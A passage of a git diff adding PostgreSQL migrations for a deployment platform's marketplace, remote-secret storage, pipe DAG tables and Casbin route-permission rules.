index 00000000..0c0f954d
--- /dev/null
+++ b/migrations/20260426113914_enrich_marketplace_template_form.up.sql
@@ -0,0 +1,14 @@
+-- Enrich marketplace template form with missing fields
+-- Adds: public_ports (JSONB), vendor_url (TEXT), and updates category handling
+
+ALTER TABLE stack_template
+ADD COLUMN IF NOT EXISTS public_ports JSONB DEFAULT NULL CONSTRAINT chk_public_ports_is_array
+  CHECK (public_ports IS NULL OR jsonb_typeof(public_ports) = 'array'),
+ADD COLUMN IF NOT EXISTS vendor_url TEXT DEFAULT NULL;
+
+-- Create index on vendor_url for lookups
+CREATE INDEX IF NOT EXISTS idx_stack_template_vendor_url ON stack_template(vendor_url) WHERE vendor_url IS NOT NULL;
+
+-- Create comment for documentation
+COMMENT ON COLUMN stack_template.public_ports IS 'Array of port objects: [{"name": "web", "port": 8080}, ...]';
+COMMENT ON COLUMN stack_template.vendor_url IS 'Single vendor URL (e.g., product page, documentation)';
diff --git a/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql b/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql
new file mode 100644
index 00000000..0018b0fb
--- /dev/null
+++ b/migrations/20260426121500_casbin_marketplace_deploy_complete.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_anonymous'
+  AND v1 = '/api/v1/marketplace/deploy-complete'
+  AND v2 = 'POST';
diff --git a/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql b/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql
new file mode 100644
index 00000000..3b285b28
--- /dev/null
+++ b/migrations/20260426121500_casbin_marketplace_deploy_complete.up.sql
@@ -0,0 +1,3 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_anonymous', '/api/v1/marketplace/deploy-complete', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260426121600_marketplace_deploy_complete_events.down.sql b/migrations/20260426121600_marketplace_deploy_complete_events.down.sql
new file mode 100644
index 00000000..7ef42859
--- /dev/null
+++ b/migrations/20260426121600_marketplace_deploy_complete_events.down.sql
@@ -0,0 +1 @@
+DROP TABLE IF EXISTS stack_template_deployment;
diff --git a/migrations/20260426121600_marketplace_deploy_complete_events.up.sql b/migrations/20260426121600_marketplace_deploy_complete_events.up.sql
new file mode 100644
index 00000000..5aedf1e6
--- /dev/null
+++ b/migrations/20260426121600_marketplace_deploy_complete_events.up.sql
@@ -0,0 +1,10 @@
+CREATE TABLE IF NOT EXISTS stack_template_deployment (
+    id uuid PRIMARY KEY DEFAULT gen_random_uuid(),
+    template_id uuid NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE,
+    deployment_hash text NOT NULL UNIQUE,
+    server_ip text,
+    created_at timestamptz NOT NULL DEFAULT now()
+);
+
+CREATE INDEX IF NOT EXISTS idx_stack_template_deployment_template_id
+    ON stack_template_deployment(template_id);
diff --git a/migrations/20260426143000_marketplace_version_assets.down.sql b/migrations/20260426143000_marketplace_version_assets.down.sql
new file mode 100644
index 00000000..8846e553
--- /dev/null
+++ b/migrations/20260426143000_marketplace_version_assets.down.sql
@@ -0,0 +1,3 @@
+ALTER TABLE stack_template_version
+DROP CONSTRAINT IF EXISTS chk_stack_template_version_assets_is_array,
+DROP COLUMN IF EXISTS assets;
diff --git a/migrations/20260426143000_marketplace_version_assets.up.sql b/migrations/20260426143000_marketplace_version_assets.up.sql
new file mode 100644
index 00000000..c0d4049a
--- /dev/null
+++ b/migrations/20260426143000_marketplace_version_assets.up.sql
@@ -0,0 +1,7 @@
+ALTER TABLE stack_template_version
+ADD COLUMN IF NOT EXISTS assets JSONB NOT NULL DEFAULT '[]'::jsonb
+    CONSTRAINT chk_stack_template_version_assets_is_array
+    CHECK (jsonb_typeof(assets) = 'array');
+
+COMMENT ON COLUMN stack_template_version.assets IS
+    'Finalized marketplace asset metadata for this template version.';
diff --git a/migrations/20260426150000_marketplace_version_contract_mirror.down.sql b/migrations/20260426150000_marketplace_version_contract_mirror.down.sql
new file mode 100644
index 00000000..878932c3
--- /dev/null
+++ b/migrations/20260426150000_marketplace_version_contract_mirror.down.sql
@@ -0,0 +1,5 @@
+ALTER TABLE stack_template_version
+DROP COLUMN IF EXISTS update_mode_capabilities,
+DROP COLUMN IF EXISTS post_deploy_hooks,
+DROP COLUMN IF EXISTS seed_jobs,
+DROP COLUMN IF EXISTS config_files;
diff --git a/migrations/20260426150000_marketplace_version_contract_mirror.up.sql b/migrations/20260426150000_marketplace_version_contract_mirror.up.sql
new file mode 100644
index 00000000..ca8d78fe
--- /dev/null
+++ b/migrations/20260426150000_marketplace_version_contract_mirror.up.sql
@@ -0,0 +1,5 @@
+ALTER TABLE stack_template_version
+ADD COLUMN IF NOT EXISTS config_files JSONB NOT NULL DEFAULT '[]'::jsonb,
+ADD COLUMN IF NOT EXISTS seed_jobs JSONB NOT NULL DEFAULT '[]'::jsonb,
+ADD COLUMN IF NOT EXISTS post_deploy_hooks JSONB NOT NULL DEFAULT '[]'::jsonb,
+ADD COLUMN IF NOT EXISTS update_mode_capabilities JSONB;
diff --git a/migrations/20260426162000_marketplace_creator_analytics.down.sql b/migrations/20260426162000_marketplace_creator_analytics.down.sql
new file mode 100644
index 00000000..c9b0b33a
--- /dev/null
+++ b/migrations/20260426162000_marketplace_creator_analytics.down.sql
@@ -0,0 +1,7 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v1 = '/api/templates/mine/analytics'
+  AND v2 = 'GET'
+  AND v0 IN ('group_user', 'group_admin');
+
+DROP TABLE IF EXISTS marketplace_template_event;
diff --git a/migrations/20260426162000_marketplace_creator_analytics.up.sql b/migrations/20260426162000_marketplace_creator_analytics.up.sql
new file mode 100644
index 00000000..de170234
--- /dev/null
+++ b/migrations/20260426162000_marketplace_creator_analytics.up.sql
@@ -0,0 +1,29 @@
+CREATE TABLE IF NOT EXISTS marketplace_template_event (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    template_id UUID NOT NULL REFERENCES stack_template(id) ON DELETE CASCADE,
+    event_type VARCHAR(32) NOT NULL CHECK (event_type IN ('view', 'deploy')),
+    user_id VARCHAR(50),
+    viewer_user_id VARCHAR(50),
+    deployer_user_id VARCHAR(50),
+    cloud_provider VARCHAR(64),
+    metadata JSONB NOT NULL DEFAULT '{}'::jsonb,
+    created_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now(),
+    occurred_at TIMESTAMP WITH TIME ZONE NOT NULL DEFAULT now()
+);
+
+CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_template
+    ON marketplace_template_event(template_id);
+
+CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_type_created
+    ON marketplace_template_event(event_type, created_at);
+
+CREATE INDEX IF NOT EXISTS idx_marketplace_template_event_template_created
+    ON marketplace_template_event(template_id, created_at);
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_user', '/api/templates/mine/analytics', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'group_admin', '/api/templates/mine/analytics', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql b/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql
new file mode 100644
index 00000000..c3ad7708
--- /dev/null
+++ b/migrations/20260426171000_casbin_marketplace_v1_asset_rules.down.sql
@@ -0,0 +1,11 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND (
+    (v0 = 'group_anonymous' AND v1 = '/api/v1/templates/:slug' AND v2 = 'GET')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id' AND v2 = 'PUT')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/submit' AND v2 = 'POST')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/resubmit' AND v2 = 'POST')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/presign' AND v2 = 'POST')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/finalize' AND v2 = 'POST')
+    OR (v0 = 'group_user' AND v1 = '/api/v1/templates/:id/assets/presign-download' AND v2 = 'POST')
+  );
diff --git a/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql b/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql
new file mode 100644
index 00000000..ff2ab7d2
--- /dev/null
+++ b/migrations/20260426171000_casbin_marketplace_v1_asset_rules.up.sql
@@ -0,0 +1,10 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_anonymous', '/api/v1/templates/:slug', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id', 'PUT', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id/submit', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id/resubmit', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id/assets/presign', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id/assets/finalize', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:id/assets/presign-download', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260502120000_create_remote_secret_table.down.sql b/migrations/20260502120000_create_remote_secret_table.down.sql
new file mode 100644
index 00000000..9526ed4d
--- /dev/null
+++ b/migrations/20260502120000_create_remote_secret_table.down.sql
@@ -0,0 +1,3 @@
+DROP TRIGGER IF EXISTS remote_secret_updated_at_trigger ON remote_secret;
+DROP FUNCTION IF EXISTS update_remote_secret_updated_at();
+DROP TABLE IF EXISTS remote_secret;
diff --git a/migrations/20260502120000_create_remote_secret_table.up.sql b/migrations/20260502120000_create_remote_secret_table.up.sql
new file mode 100644
index 00000000..5fb5f696
--- /dev/null
+++ b/migrations/20260502120000_create_remote_secret_table.up.sql
@@ -0,0 +1,53 @@
+CREATE TABLE IF NOT EXISTS remote_secret (
+    id SERIAL PRIMARY KEY,
+    user_id VARCHAR(255) NOT NULL,
+    project_id INTEGER REFERENCES project(id) ON DELETE CASCADE,
+    app_code VARCHAR(100),
+    server_id INTEGER REFERENCES server(id) ON DELETE CASCADE,
+    scope VARCHAR(20) NOT NULL,
+    name VARCHAR(255) NOT NULL,
+    vault_path TEXT NOT NULL,
+    updated_by VARCHAR(255) NOT NULL,
+    last_sync_status VARCHAR(50) NOT NULL DEFAULT 'synced',
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    CONSTRAINT remote_secret_scope_check CHECK (scope IN ('service', 'server')),
+    CONSTRAINT remote_secret_target_check CHECK (
+        (scope = 'service' AND project_id IS NOT NULL AND app_code IS NOT NULL AND server_id IS NULL)
+        OR
+        (scope = 'server' AND server_id IS NOT NULL AND project_id IS NULL AND app_code IS NULL)
+    )
+);
+
+CREATE UNIQUE INDEX IF NOT EXISTS idx_remote_secret_service_unique
+    ON remote_secret (user_id, project_id, app_code, name)
+    WHERE scope = 'service';
+
+CREATE UNIQUE INDEX IF NOT EXISTS idx_remote_secret_server_unique
+    ON remote_secret (user_id, server_id, name)
+    WHERE scope = 'server';
+
+CREATE INDEX IF NOT EXISTS idx_remote_secret_user_scope
+    ON remote_secret (user_id, scope);
+
+CREATE INDEX IF NOT EXISTS idx_remote_secret_project_app
+    ON remote_secret (project_id, app_code)
+    WHERE scope = 'service';
+
+CREATE INDEX IF NOT EXISTS idx_remote_secret_server
+    ON remote_secret (server_id)
+    WHERE scope = 'server';
+
+CREATE OR REPLACE FUNCTION update_remote_secret_updated_at()
+RETURNS TRIGGER AS $$
+BEGIN
+    NEW.updated_at = NOW();
+    RETURN NEW;
+END;
+$$ LANGUAGE plpgsql;
+
+DROP TRIGGER IF EXISTS remote_secret_updated_at_trigger ON remote_secret;
+CREATE TRIGGER remote_secret_updated_at_trigger
+    BEFORE UPDATE ON remote_secret
+    FOR EACH ROW
+    EXECUTE FUNCTION update_remote_secret_updated_at();
diff --git a/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql b/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql
new file mode 100644
index 00000000..8dd728bb
--- /dev/null
+++ b/migrations/20260502221500_add_casbin_remote_secret_rules.down.sql
@@ -0,0 +1,18 @@
+-- Remove Casbin rules for remote secret endpoints
+
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND (
+    (v0 = 'group_user' AND v1 IN (
+      '/project/:id/apps/:code/secrets',
+      '/project/:id/apps/:code/secrets/:name',
+      '/server/:id/secrets',
+      '/server/:id/secrets/:name'
+    ))
+    OR
+    (v0 = 'root' AND v1 IN (
+      '/server/:id/secrets',
+      '/server/:id/secrets/:name'
+    ))
+  )
+  AND v2 IN ('GET', 'PUT', 'DELETE');
diff --git a/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql b/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql
new file mode 100644
index 00000000..3abc1659
--- /dev/null
+++ b/migrations/20260502221500_add_casbin_remote_secret_rules.up.sql
@@ -0,0 +1,19 @@
+-- Add Casbin rules for remote secret endpoints
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    -- Project app secret routes
+    ('p', 'group_user', '/project/:id/apps/:code/secrets', 'GET', '', '', ''),
+    ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'GET', '', '', ''),
+    ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'PUT', '', '', ''),
+    ('p', 'group_user', '/project/:id/apps/:code/secrets/:name', 'DELETE', '', '', ''),
+    -- Server secret routes
+    ('p', 'group_user', '/server/:id/secrets', 'GET', '', '', ''),
+    ('p', 'group_user', '/server/:id/secrets/:name', 'GET', '', '', ''),
+    ('p', 'group_user', '/server/:id/secrets/:name', 'PUT', '', '', ''),
+    ('p', 'group_user', '/server/:id/secrets/:name', 'DELETE', '', '', ''),
+    ('p', 'root', '/server/:id/secrets', 'GET', '', '', ''),
+    ('p', 'root', '/server/:id/secrets/:name', 'GET', '', '', ''),
+    ('p', 'root', '/server/:id/secrets/:name', 'PUT', '', '', ''),
+    ('p', 'root', '/server/:id/secrets/:name', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql b/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql
new file mode 100644
index 00000000..5b0fa756
--- /dev/null
+++ b/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.down.sql
@@ -0,0 +1,10 @@
+-- Remove Casbin rules for /api/v1 project-scoped remote secret endpoints
+
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 IN (
+    '/api/v1/project/:id/apps/:code/secrets',
+    '/api/v1/project/:id/apps/:code/secrets/:name'
+  )
+  AND v2 IN ('GET', 'PUT', 'DELETE');
diff --git a/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql b/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql
new file mode 100644
index 00000000..061072aa
--- /dev/null
+++ b/migrations/20260504083000_add_api_v1_remote_secret_casbin_rules.up.sql
@@ -0,0 +1,9 @@
+-- Add Casbin rules for /api/v1 project-scoped remote secret endpoints
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'PUT', '', '', ''),
+    ('p', 'group_user', '/api/v1/project/:id/apps/:code/secrets/:name', 'DELETE', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260508162000_casbin_agent_notifications_rule.down.sql b/migrations/20260508162000_casbin_agent_notifications_rule.down.sql
new file mode 100644
index 00000000..f08bc8d1
--- /dev/null
+++ b/migrations/20260508162000_casbin_agent_notifications_rule.down.sql
@@ -0,0 +1,7 @@
+-- Remove agent notifications Casbin rule
+
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'agent'
+  AND v1 = '/api/v1/agent/notifications'
+  AND v2 = 'GET';
diff --git a/migrations/20260508162000_casbin_agent_notifications_rule.up.sql b/migrations/20260508162000_casbin_agent_notifications_rule.up.sql
new file mode 100644
index 00000000..b64e1757
--- /dev/null
+++ b/migrations/20260508162000_casbin_agent_notifications_rule.up.sql
@@ -0,0 +1,5 @@
+-- Allow authenticated agents to fetch notifications
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES ('p', 'agent', '/api/v1/agent/notifications', 'GET', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260613090000_casbin_marketplace_template_install.down.sql b/migrations/20260613090000_casbin_marketplace_template_install.down.sql
new file mode 100644
index 00000000..e8599975
--- /dev/null
+++ b/migrations/20260613090000_casbin_marketplace_template_install.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 IN ('/api/templates/:slug/install', '/api/v1/templates/:slug/install')
+  AND v2 = 'POST';
diff --git a/migrations/20260613090000_casbin_marketplace_template_install.up.sql b/migrations/20260613090000_casbin_marketplace_template_install.up.sql
new file mode 100644
index 00000000..d13fc445
--- /dev/null
+++ b/migrations/20260613090000_casbin_marketplace_template_install.up.sql
@@ -0,0 +1,5 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/templates/:slug/install', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/templates/:slug/install', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260613145000_casbin_marketplace_applications_search.down.sql b/migrations/20260613145000_casbin_marketplace_applications_search.down.sql
new file mode 100644
index 00000000..520ea2f5
--- /dev/null
+++ b/migrations/20260613145000_casbin_marketplace_applications_search.down.sql
@@ -0,0 +1,5 @@
+DELETE FROM public.casbin_rule
+WHERE ptype = 'p'
+  AND v0 = 'group_user'
+  AND v1 = '/api/v1/marketplace/applications'
+  AND v2 = 'GET';
diff --git a/migrations/20260613145000_casbin_marketplace_applications_search.up.sql b/migrations/20260613145000_casbin_marketplace_applications_search.up.sql
new file mode 100644
index 00000000..e2739c72
--- /dev/null
+++ b/migrations/20260613145000_casbin_marketplace_applications_search.up.sql
@@ -0,0 +1,4 @@
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'group_user', '/api/v1/marketplace/applications', 'GET', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260714120000_casbin_pipe_rules.down.sql b/migrations/20260714120000_casbin_pipe_rules.down.sql
new file mode 100644
index 00000000..f0888bd1
--- /dev/null
+++ b/migrations/20260714120000_casbin_pipe_rules.down.sql
@@ -0,0 +1,12 @@
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates' AND v2='POST';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates/:template_id' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/templates/:template_id' AND v2='DELETE';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances' AND v2='POST';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:deployment_hash' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/detail/:instance_id' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id' AND v2='DELETE';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/status' AND v2='PUT';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/instances/:instance_id/executions' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/executions/:execution_id' AND v2='GET';
+DELETE FROM public.casbin_rule WHERE ptype='p' AND v0='group_user' AND v1='/api/v1/pipes/executions/:execution_id/replay' AND v2='POST';
diff --git a/migrations/20260714120000_casbin_pipe_rules.up.sql b/migrations/20260714120000_casbin_pipe_rules.up.sql
new file mode 100644
index 00000000..2152346e
--- /dev/null
+++ b/migrations/20260714120000_casbin_pipe_rules.up.sql
@@ -0,0 +1,21 @@
+-- Add Casbin rules for pipe template, instance, and execution endpoints
+-- Routes are under /v1/pipes/ scope
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    -- Pipe templates
+    ('p', 'group_user', '/api/v1/pipes/templates', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/templates', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/templates/:template_id', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/templates/:template_id', 'DELETE', '', '', ''),
+    -- Pipe instances
+    ('p', 'group_user', '/api/v1/pipes/instances', 'POST', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/instances/:deployment_hash', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/instances/detail/:instance_id', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/instances/:instance_id', 'DELETE', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/status', 'PUT', '', '', ''),
+    -- Pipe executions
+    ('p', 'group_user', '/api/v1/pipes/instances/:instance_id/executions', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/executions/:execution_id', 'GET', '', '', ''),
+    ('p', 'group_user', '/api/v1/pipes/executions/:execution_id/replay', 'POST', '', '', '')
+ON CONFLICT DO NOTHING;
diff --git a/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql b/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql
new file mode 100644
index 00000000..ed6174f6
--- /dev/null
+++ b/migrations/20260715120000_casbin_audit_capabilities_rules.down.sql
@@ -0,0 +1,5 @@
+-- Rollback Casbin rules for audit, capabilities, and server delete-preview endpoints
+DELETE FROM public.casbin_rule
+WHERE (v1 = '/api/v1/agent/audit' AND v2 IN ('POST', 'GET'))
+   OR (v1 = '/api/v1/deployments/:deployment_hash/capabilities' AND v2 = 'GET')
+   OR (v1 = '/server/:id/delete-preview' AND v2 = 'GET');
diff --git a/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql b/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql
new file mode 100644
index 00000000..b05389d7
--- /dev/null
+++ b/migrations/20260715120000_casbin_audit_capabilities_rules.up.sql
@@ -0,0 +1,24 @@
+-- Add Casbin ACL rules for audit, capabilities, and server delete-preview endpoints
+-- Audit uses X-Internal-Key header for actual auth, but needs Casbin to pass middleware
+-- Capabilities is a public-ish endpoint
+
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    -- /api/v1/agent/audit POST (ingest) - needs all roles to pass Casbin
+    ('p', 'group_user', '/api/v1/agent/audit', 'POST', '', '', ''),
+    ('p', 'group_admin', '/api/v1/agent/audit', 'POST', '', '', ''),
+    ('p', 'agent', '/api/v1/agent/audit', 'POST', '', '', ''),
+    ('p', 'group_anonymous', '/api/v1/agent/audit', 'POST', '', '', ''),
+    -- /api/v1/agent/audit GET (query)
+    ('p', 'group_user', '/api/v1/agent/audit', 'GET', '', '', ''),
+    ('p', 'group_admin', '/api/v1/agent/audit', 'GET', '', '', ''),
+    ('p', 'agent', '/api/v1/agent/audit', 'GET', '', '', ''),
+    -- /api/v1/deployments/:hash/capabilities GET
+    ('p', 'group_user', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''),
+    ('p', 'group_admin', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''),
+    ('p', 'group_anonymous', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''),
+    ('p', 'agent', '/api/v1/deployments/:deployment_hash/capabilities', 'GET', '', '', ''),
+    -- /server/:id/delete-preview GET
+    ('p', 'group_user', '/server/:id/delete-preview', 'GET', '', '', ''),
+    ('p', 'root', '/server/:id/delete-preview', 'GET', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260716120000_casbin_admin_pricing_rule.down.sql b/migrations/20260716120000_casbin_admin_pricing_rule.down.sql
new file mode 100644
index 00000000..1996f896
--- /dev/null
+++ b/migrations/20260716120000_casbin_admin_pricing_rule.down.sql
@@ -0,0 +1,3 @@
+-- Rollback Casbin rules for admin pricing PATCH
+DELETE FROM public.casbin_rule
+WHERE v1 = '/api/admin/templates/:id/pricing' AND v2 = 'PATCH';
diff --git a/migrations/20260716120000_casbin_admin_pricing_rule.up.sql b/migrations/20260716120000_casbin_admin_pricing_rule.up.sql
new file mode 100644
index 00000000..c9a813cb
--- /dev/null
+++ b/migrations/20260716120000_casbin_admin_pricing_rule.up.sql
@@ -0,0 +1,6 @@
+-- Add Casbin rules for admin pricing PATCH endpoint
+INSERT INTO public.casbin_rule (ptype, v0, v1, v2, v3, v4, v5)
+VALUES
+    ('p', 'admin_service', '/api/admin/templates/:id/pricing', 'PATCH', '', '', ''),
+    ('p', 'group_admin', '/api/admin/templates/:id/pricing', 'PATCH', '', '', '')
+ON CONFLICT ON CONSTRAINT unique_key_sqlx_adapter DO NOTHING;
diff --git a/migrations/20260717120000_create_dag_tables.down.sql b/migrations/20260717120000_create_dag_tables.down.sql
new file mode 100644
index 00000000..1e8b9210
--- /dev/null
+++ b/migrations/20260717120000_create_dag_tables.down.sql
@@ -0,0 +1,6 @@
+ALTER TABLE pipe_templates DROP COLUMN IF EXISTS dag_config;
+ALTER TABLE pipe_templates DROP COLUMN IF EXISTS is_dag;
+
+DROP TABLE IF EXISTS pipe_dag_step_executions;
+DROP TABLE IF EXISTS pipe_dag_edges;
+DROP TABLE IF EXISTS pipe_dag_steps;
diff --git a/migrations/20260717120000_create_dag_tables.up.sql b/migrations/20260717120000_create_dag_tables.up.sql
new file mode 100644
index 00000000..1db57d82
--- /dev/null
+++ b/migrations/20260717120000_create_dag_tables.up.sql
@@ -0,0 +1,56 @@
+-- DAG Steps: individual steps within a pipe template's DAG
+CREATE TABLE pipe_dag_steps (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE,
+    name VARCHAR(256) NOT NULL,
+    step_type VARCHAR(32) NOT NULL CHECK (step_type IN (
+        'source', 'transform', 'condition', 'target',
+        'parallel_split', 'parallel_join'
+    )),
+    step_order INT NOT NULL DEFAULT 0,
+    config JSONB NOT NULL DEFAULT '{}',
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX idx_dag_steps_template ON pipe_dag_steps(pipe_template_id);
+CREATE INDEX idx_dag_steps_order ON pipe_dag_steps(pipe_template_id, step_order);
+
+-- DAG Edges: directed connections between steps
+CREATE TABLE pipe_dag_edges (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    pipe_template_id UUID NOT NULL REFERENCES pipe_templates(id) ON DELETE CASCADE,
+    from_step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE,
+    to_step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE,
+    condition JSONB,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
+    UNIQUE (from_step_id, to_step_id)
+);
+
+CREATE INDEX idx_dag_edges_template ON pipe_dag_edges(pipe_template_id);
+CREATE INDEX idx_dag_edges_from ON pipe_dag_edges(from_step_id);
+CREATE INDEX idx_dag_edges_to ON pipe_dag_edges(to_step_id);
+
+-- DAG Step Executions: per-step execution tracking within a pipe execution
+CREATE TABLE pipe_dag_step_executions (
+    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
+    pipe_execution_id UUID NOT NULL REFERENCES pipe_executions(id) ON DELETE CASCADE,
+    step_id UUID NOT NULL REFERENCES pipe_dag_steps(id) ON DELETE CASCADE,
+    status VARCHAR(32) NOT NULL DEFAULT 'pending' CHECK (status IN (
+        'pending', 'running', 'completed', 'failed', 'skipped'
+    )),
+    input_data JSONB,
+    output_data JSONB,
+    error TEXT,
+    started_at TIMESTAMPTZ,
+    completed_at TIMESTAMPTZ,
+    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
+);
+
+CREATE INDEX idx_dag_step_exec_pipe ON pipe_dag_step_executions(pipe_execution_id);
+CREATE INDEX idx_dag_step_exec_step ON pipe_dag_step_executions(step_id);
+CREATE INDEX idx_dag_step_exec_status ON pipe_dag_step_executions(status);
+
